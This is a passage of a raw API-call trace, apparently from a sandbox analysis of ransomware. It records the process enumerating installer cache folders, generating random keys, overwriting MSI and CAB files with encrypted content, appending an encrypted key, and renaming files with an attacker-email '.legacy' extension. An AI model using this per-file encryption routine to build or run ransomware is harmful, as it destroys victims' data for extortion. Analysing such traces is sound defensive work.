0x56d450 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102c0 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60cb18 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cb18 | out: hHeap=0x520000) returned 1 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102c0 | out: hHeap=0x520000) returned 1 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0142.618] FindNextFileW (in: hFindFile=0x60c518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0142.618] GetLastError () returned 0x0 [0142.618] SetLastError (dwErrCode=0x0) [0142.618] GetLastError () returned 0x0 [0142.618] SetLastError (dwErrCode=0x0) [0142.618] GetLastError () returned 0x0 [0142.618] SetLastError (dwErrCode=0x0) [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0142.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0142.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0142.619] FindNextFileW (in: hFindFile=0x60c518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1274c0d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1274c0d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1274c0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0142.619] GetLastError () returned 0x0 [0142.619] SetLastError (dwErrCode=0x0) [0142.619] GetLastError () returned 0x0 [0142.619] SetLastError (dwErrCode=0x0) [0142.619] GetLastError () returned 0x0 [0142.619] SetLastError (dwErrCode=0x0) [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0142.619] FindNextFileW (in: hFindFile=0x60c518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0142.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0142.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0142.619] GetLastError () returned 0x0 [0142.619] SetLastError (dwErrCode=0x0) [0142.619] GetLastError () returned 0x0 [0142.619] SetLastError (dwErrCode=0x0) [0142.619] GetLastError () returned 0x0 [0142.620] SetLastError (dwErrCode=0x0) [0142.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0142.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0142.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0142.620] FindNextFileW (in: hFindFile=0x60c518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0142.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0142.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0142.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0142.620] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0142.620] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0142.620] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", dwFileAttributes=0x80) returned 1 [0142.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0142.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0142.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0142.620] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4 [0142.620] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=143360) returned 1 [0142.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2f40858 [0142.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2e81f40 [0142.622] ReadFile (in: hFile=0x7b4, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0142.627] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.627] WriteFile (in: hFile=0x7b4, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0142.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0142.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0142.631] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23000 [0142.632] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0142.632] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0142.632] WriteFile (in: hFile=0x7b4, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0142.632] WriteFile (in: hFile=0x7b4, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0142.632] CloseHandle (hObject=0x7b4) returned 1 [0142.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0142.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0142.633] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0142.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0142.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0142.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0142.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0142.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0142.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0142.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0142.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0142.635] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0142.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0142.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0142.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0142.636] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4 [0142.636] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5204382) returned 1 [0142.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4f699e) returned 0x3120020 [0142.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4f699e) returned 0x362c020 [0142.657] ReadFile (in: hFile=0x7b4, lpBuffer=0x3120020, nNumberOfBytesToRead=0x4f699e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f699e, lpOverlapped=0x0) returned 1 [0142.944] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=-5204382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.944] WriteFile (in: hFile=0x7b4, lpBuffer=0x362c020*, nNumberOfBytesToWrite=0x4f699e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x362c020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f699e, lpOverlapped=0x0) returned 1 [0143.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3120020 | out: hHeap=0x520000) returned 1 [0143.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x362c020 | out: hHeap=0x520000) returned 1 [0143.091] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f699e [0143.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0143.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0143.091] WriteFile (in: hFile=0x7b4, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0143.091] WriteFile (in: hFile=0x7b4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0143.091] CloseHandle (hObject=0x7b4) returned 1 [0143.091] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0143.091] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0143.091] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0143.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a1d0 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a898 | out: hHeap=0x520000) returned 1 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a6a8 | out: hHeap=0x520000) returned 1 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0143.093] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60ca58 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0143.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0143.094] GetLastError () returned 0x0 [0143.094] SetLastError (dwErrCode=0x0) [0143.094] GetLastError () returned 0x0 [0143.094] SetLastError (dwErrCode=0x0) [0143.094] GetLastError () returned 0x0 [0143.094] SetLastError (dwErrCode=0x0) [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0143.094] FindNextFileW (in: hFindFile=0x60ca58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0143.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0143.094] GetLastError () returned 0x0 [0143.094] SetLastError (dwErrCode=0x0) [0143.094] GetLastError () returned 0x0 [0143.094] SetLastError (dwErrCode=0x0) [0143.094] GetLastError () returned 0x0 [0143.094] SetLastError (dwErrCode=0x0) [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c818 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c818 | out: hHeap=0x520000) returned 1 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0143.095] FindNextFileW (in: hFindFile=0x60ca58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0143.095] GetLastError () returned 0x0 [0143.095] SetLastError (dwErrCode=0x0) [0143.095] GetLastError () returned 0x0 [0143.095] SetLastError (dwErrCode=0x0) [0143.095] GetLastError () returned 0x0 [0143.095] SetLastError (dwErrCode=0x0) [0143.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0143.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0143.096] FindNextFileW (in: hFindFile=0x60ca58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe129ad93, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe129ad93, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", 